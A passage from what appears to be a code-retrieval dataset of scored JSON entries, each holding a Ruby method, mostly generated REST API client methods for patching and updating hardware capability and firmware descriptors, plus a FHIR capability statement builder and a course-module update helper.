header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_io_card_manufacturing_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityIoCardManufacturingDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_io_card_manufacturing_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_io_card_manufacturing_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "e3e6460f0d16a1b155cf9af9e94d6ab9", "score": "0.5224158", "text": "def get_capability_sioc_module_descriptor_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.get_capability_sioc_module_descriptor_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleDescriptors'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleDescriptorResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.get_capability_sioc_module_descriptor_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#get_capability_sioc_module_descriptor_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "7e1fddbb4b4b58853c6471af4a5415fb", "score": "0.5221829", "text": "def patch_capability_cimc_firmware_descriptor_with_http_info(moid, capability_cimc_firmware_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_cimc_firmware_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_cimc_firmware_descriptor\"\n end\n # verify the required parameter 'capability_cimc_firmware_descriptor' is set\n if @api_client.config.client_side_validation && capability_cimc_firmware_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_cimc_firmware_descriptor' when calling CapabilityApi.patch_capability_cimc_firmware_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/CimcFirmwareDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_cimc_firmware_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityCimcFirmwareDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_cimc_firmware_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_cimc_firmware_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "2172f1bfb16934fca41239efd094e82f", "score": "0.52177453", "text": "def patch_capability_chassis_descriptor_with_http_info(moid, capability_chassis_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_chassis_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_chassis_descriptor\"\n end\n # verify the required parameter 'capability_chassis_descriptor' is set\n if @api_client.config.client_side_validation && capability_chassis_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_chassis_descriptor' when calling CapabilityApi.patch_capability_chassis_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/ChassisDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_chassis_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityChassisDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_chassis_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_chassis_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "2adb839ac6e2220314958cffd99528e0", "score": "0.5196868", "text": "def update_firmware_cimc_descriptor_with_http_info(moid, firmware_cimc_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FirmwareApi.update_firmware_cimc_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling FirmwareApi.update_firmware_cimc_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/firmware/CimcDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(firmware_cimc_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'FirmwareCimcDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"FirmwareApi.update_firmware_cimc_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FirmwareApi#update_firmware_cimc_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "4082976e914298f0d7454ef34bb54b0d", "score": "0.51947606", "text": "def update_resource(resource_desc, resource_type, authorizer, new_attributes)\n resource = find_resource(resource_desc, resource_type, authorizer)\n authorizer.can_modify_resource?(resource, resource_type)\n resource.update(new_attributes)\n resource\n end", "title": "" }, { "docid": "e027a93f85815ff899930473c8cf0178", "score": "0.51944935", "text": "def create_capability_sioc_module_capability_def(capability_sioc_module_capability_def, opts = {})\n data, _status_code, _headers = create_capability_sioc_module_capability_def_with_http_info(capability_sioc_module_capability_def, opts)\n data\n end", "title": "" }, { "docid": "10e4e6e7a23e67292a5660a45828797e", "score": "0.5192204", "text": "def create_capability_sioc_module_descriptor(capability_sioc_module_descriptor, opts = {})\n data, _status_code, _headers = create_capability_sioc_module_descriptor_with_http_info(capability_sioc_module_descriptor, opts)\n data\n end", "title": "" }, { "docid": "f8dbf56c869e651a8719a5c5b0547981", "score": "0.51796854", "text": "def set_capability\n @capability = Capability.find(params[:id])\n end", "title": "" }, { "docid": "9a4428793799ab5a73753aa4d27e66a6", "score": "0.51790434", "text": "def patch_capability_io_card_descriptor_with_http_info(moid, capability_io_card_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_io_card_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_io_card_descriptor\"\n end\n # verify the required parameter 'capability_io_card_descriptor' is set\n if @api_client.config.client_side_validation && capability_io_card_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_io_card_descriptor' when calling CapabilityApi.patch_capability_io_card_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/IoCardDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_io_card_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityIoCardDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_io_card_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_io_card_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "9d27c5ad194cb0801eaf33dbf8dc7d0c", "score": "0.516644", "text": "def patch_capability_switch_manufacturing_def_with_http_info(moid, capability_switch_manufacturing_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_switch_manufacturing_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_switch_manufacturing_def\"\n end\n # verify the required parameter 'capability_switch_manufacturing_def' is set\n if @api_client.config.client_side_validation && capability_switch_manufacturing_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_switch_manufacturing_def' when calling CapabilityApi.patch_capability_switch_manufacturing_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchManufacturingDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_switch_manufacturing_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySwitchManufacturingDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_switch_manufacturing_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_switch_manufacturing_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "ee3a2d528bc6539360f0c266e5eba7e8", "score": "0.51456386", "text": "def update_capability_equipment_physical_def_with_http_info(moid, capability_equipment_physical_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_equipment_physical_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_equipment_physical_def\"\n end\n # verify the required parameter 'capability_equipment_physical_def' is set\n if @api_client.config.client_side_validation && capability_equipment_physical_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_equipment_physical_def' when calling CapabilityApi.update_capability_equipment_physical_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/EquipmentPhysicalDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_equipment_physical_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityEquipmentPhysicalDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_equipment_physical_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_equipment_physical_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "314d801e8bb0466fae7ad20b89ab367b", "score": "0.51429605", "text": "def update_capability_server_schema_descriptor_with_http_info(moid, capability_server_schema_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_server_schema_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_server_schema_descriptor\"\n end\n # verify the required parameter 'capability_server_schema_descriptor' is set\n if @api_client.config.client_side_validation && capability_server_schema_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_server_schema_descriptor' when calling CapabilityApi.update_capability_server_schema_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/ServerSchemaDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_server_schema_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityServerSchemaDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_server_schema_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_server_schema_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "e5be95ae06f714eb0a068e0ab6e36789", "score": "0.51318806", "text": "def update_capability_fan_module_manufacturing_def(moid, capability_fan_module_manufacturing_def, opts = {})\n data, _status_code, _headers = update_capability_fan_module_manufacturing_def_with_http_info(moid, capability_fan_module_manufacturing_def, opts)\n data\n end", "title": "" }, { "docid": "e77796eebb240b7f1811834099329466", "score": "0.51259905", "text": "def update_capability_chassis_manufacturing_def(moid, capability_chassis_manufacturing_def, opts = {})\n data, _status_code, _headers = update_capability_chassis_manufacturing_def_with_http_info(moid, capability_chassis_manufacturing_def, opts)\n data\n end", "title": "" }, { "docid": "6d33e10cd1b804582ebcbff533da81a9", "score": "0.5119589", "text": "def delete_capability_sioc_module_capability_def(moid, opts = {})\n delete_capability_sioc_module_capability_def_with_http_info(moid, opts)\n nil\n end", "title": "" }, { "docid": "2dca748812b04c4b47980d27a1ac4631", "score": "0.51175123", "text": "def update_capability_switch_manufacturing_def(moid, capability_switch_manufacturing_def, opts = {})\n data, _status_code, _headers = update_capability_switch_manufacturing_def_with_http_info(moid, capability_switch_manufacturing_def, opts)\n data\n end", "title": "" }, { "docid": "5669c0f3b52feec65da37177aaa63de7", "score": "0.511375", "text": "def update_resource(resource_desc, resource_type, authorizer, new_attributes)\n debug \"update_resource: resource_descr: #{resource_desc}, type: #{resource_type}, new_attrs: #{new_attributes}\"\n raise 'Method not implemented because the Central Manager just need to pass the same requisition to the other' \\\n ' brokers and create the concatenated results'\n end", "title": "" }, { "docid": "fd72a060c77cff32667b51b6a562a6c4", "score": "0.5109544", "text": "def patch_capability_io_card_manufacturing_def(moid, capability_io_card_manufacturing_def, opts = {})\n data, _status_code, _headers = patch_capability_io_card_manufacturing_def_with_http_info(moid, capability_io_card_manufacturing_def, opts)\n data\n end", "title": "" }, { "docid": "2281ec52090eb7ad335c769a2127787c", "score": "0.5102266", "text": "def update_capability_psu_manufacturing_def(moid, capability_psu_manufacturing_def, opts = {})\n data, _status_code, _headers = update_capability_psu_manufacturing_def_with_http_info(moid, capability_psu_manufacturing_def, opts)\n data\n end", "title": "" }, { "docid": "f9edb76acfc012b1a107eda6439783b8", "score": "0.509191", "text": "def update_module_item(course_id,module_id,id,module_item__completion_requirement____min_score__,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n :module_item__title__,\n :module_item__position__,\n :module_item__indent__,\n :module_item__external_url__,\n :module_item__new_tab__,\n :module_item__completion_requirement____type__,\n :module_item__completion_requirement____min_score__,\n :module_item__published__,\n :module_item__module_id__,\n \n ]\n\n # verify existence of params\n raise \"course_id is required\" if course_id.nil?\n raise \"module_id is required\" if module_id.nil?\n raise \"id is required\" if id.nil?\n raise \"module_item__completion_requirement____min_score__ is required\" if module_item__completion_requirement____min_score__.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :course_id => course_id,\n :module_id => module_id,\n :id => id,\n :module_item__completion_requirement____min_score__ => module_item__completion_requirement____min_score__\n )\n\n # resource path\n path = path_replace(\"/v1/courses/{course_id}/modules/{module_id}/items/{id}\",\n :course_id => course_id,\n :module_id => module_id,\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:put, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:put, path, query_params, form_params, headers)\n page_params_store(:put, path)\n ModuleItem.new(response)\n end", "title": "" }, { "docid": "c513c959f3d7ec3773c35ee8d03bbdb7", "score": "0.50906485", "text": "def capability_statement\n resource = FHIR::CapabilityStatement.new(\n status: 'active',\n kind: 'instance',\n date: DateTime.parse('2020-05-28').strftime('%FT%T%:z'),\n software: FHIR::CapabilityStatement::Software.new(\n name: 'Sara Alert',\n version: ADMIN_OPTIONS['version']\n ),\n implementation: FHIR::CapabilityStatement::Implementation.new(\n description: 'Sara Alert API'\n ),\n fhirVersion: '4.0.1',\n format: %w[json],\n rest: FHIR::CapabilityStatement::Rest.new(\n mode: 'server',\n security: FHIR::CapabilityStatement::Rest::Security.new(\n cors: true,\n service: FHIR::CodeableConcept.new(\n coding: [\n FHIR::Coding.new(code: 'SMART-on-FHIR', system: 'http://hl7.org/fhir/restful-security-service')\n ],\n text: 'OAuth2 using SMART-on-FHIR profile (see http://docs.smarthealthit.org'\n ),\n extension: [\n FHIR::Extension.new(\n url: 'http://fhir-registry.smarthealthit.org/StructureDefinition/oauth-uris',\n extension: [\n FHIR::Extension.new(url: 'token', valueUri: \"#{root_url}oauth/token\"),\n FHIR::Extension.new(url: 'authorize', valueUri: \"#{root_url}oauth/authorize\"),\n FHIR::Extension.new(url: 'introspect', valueUri: \"#{root_url}oauth/introspect\"),\n FHIR::Extension.new(url: 'revoke', valueUri: \"#{root_url}oauth/revoke\")\n ]\n )\n ]\n ),\n resource: [\n FHIR::CapabilityStatement::Rest::Resource.new(\n type: 'Patient',\n interaction: [\n FHIR::CapabilityStatement::Rest::Resource::Interaction.new(code: 'read'),\n FHIR::CapabilityStatement::Rest::Resource::Interaction.new(code: 'update'),\n FHIR::CapabilityStatement::Rest::Resource::Interaction.new(code: 'create'),\n FHIR::CapabilityStatement::Rest::Resource::Interaction.new(code: 'search-type')\n ],\n searchParam: [\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: 'family', type: 'string'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: 'given', type: 'string'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: 'telecom', type: 'string'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: 'email', type: 'string'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: 'active', type: 'boolean'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: '_id', type: 'string'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: '_count', type: 'string')\n ]\n ),\n FHIR::CapabilityStatement::Rest::Resource.new(\n type: 'Observation',\n interaction: [\n FHIR::CapabilityStatement::Rest::Resource::Interaction.new(code: 'read'),\n FHIR::CapabilityStatement::Rest::Resource::Interaction.new(code: 'search-type')\n ],\n searchParam: [\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: 'subject', type: 'reference'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: '_id', type: 'string'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: '_count', type: 'string')\n ]\n ),\n FHIR::CapabilityStatement::Rest::Resource.new(\n type: 'QuestionnaireResponse',\n interaction: [\n FHIR::CapabilityStatement::Rest::Resource::Interaction.new(code: 'read'),\n FHIR::CapabilityStatement::Rest::Resource::Interaction.new(code: 'search-type')\n ],\n searchParam: [\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: 'subject', type: 'reference'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: '_id', type: 'string'),\n FHIR::CapabilityStatement::Rest::Resource::SearchParam.new(name: '_count', type: 'string')\n ]\n )\n ]\n )\n )\n status_ok(resource) && return\n rescue StandardError\n render json: operation_outcome_fatal.to_json, status: :internal_server_error\n end", "title": "" }, { "docid": "70e9889269a625eb7671a77ba623826d", "score": "0.5081976", "text": "def update!(**args)\n @required_capabilities = args[:required_capabilities] if args.key?(:required_capabilities)\n end", "title": "" }, { "docid": "6e5d23126068d3d693190b8a590da883", "score": "0.5066807", "text": "def update_definition(definition) update_attribute(:descriptor, definition) end", "title": "" }, { "docid": "53f53fe73422d47389b72d5e37dc8cac", "score": "0.5052913", "text": "def update_firmware_cimc_descriptor(moid, firmware_cimc_descriptor, opts = {})\n data, _status_code, _headers = update_firmware_cimc_descriptor_with_http_info(moid, firmware_cimc_descriptor, opts)\n data\n end", "title": "" }, { "docid": "5c5facec849b134256144bbe4b6f3f5b", "score": "0.5048775", "text": "def patch_capability_cimc_firmware_descriptor(moid, capability_cimc_firmware_descriptor, opts = {})\n data, _status_code, _headers = patch_capability_cimc_firmware_descriptor_with_http_info(moid, capability_cimc_firmware_descriptor, opts)\n data\n end", "title": "" }, { "docid": "0412a7b0e6080b2ffb9cca506d329621", "score": "0.5040802", "text": "def patch_capability_fan_module_manufacturing_def_with_http_info(moid, capability_fan_module_manufacturing_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_fan_module_manufacturing_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_fan_module_manufacturing_def\"\n end\n # verify the required parameter 'capability_fan_module_manufacturing_def' is set\n if @api_client.config.client_side_validation && capability_fan_module_manufacturing_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_fan_module_manufacturing_def' when calling CapabilityApi.patch_capability_fan_module_manufacturing_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/FanModuleManufacturingDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_fan_module_manufacturing_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityFanModuleManufacturingDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 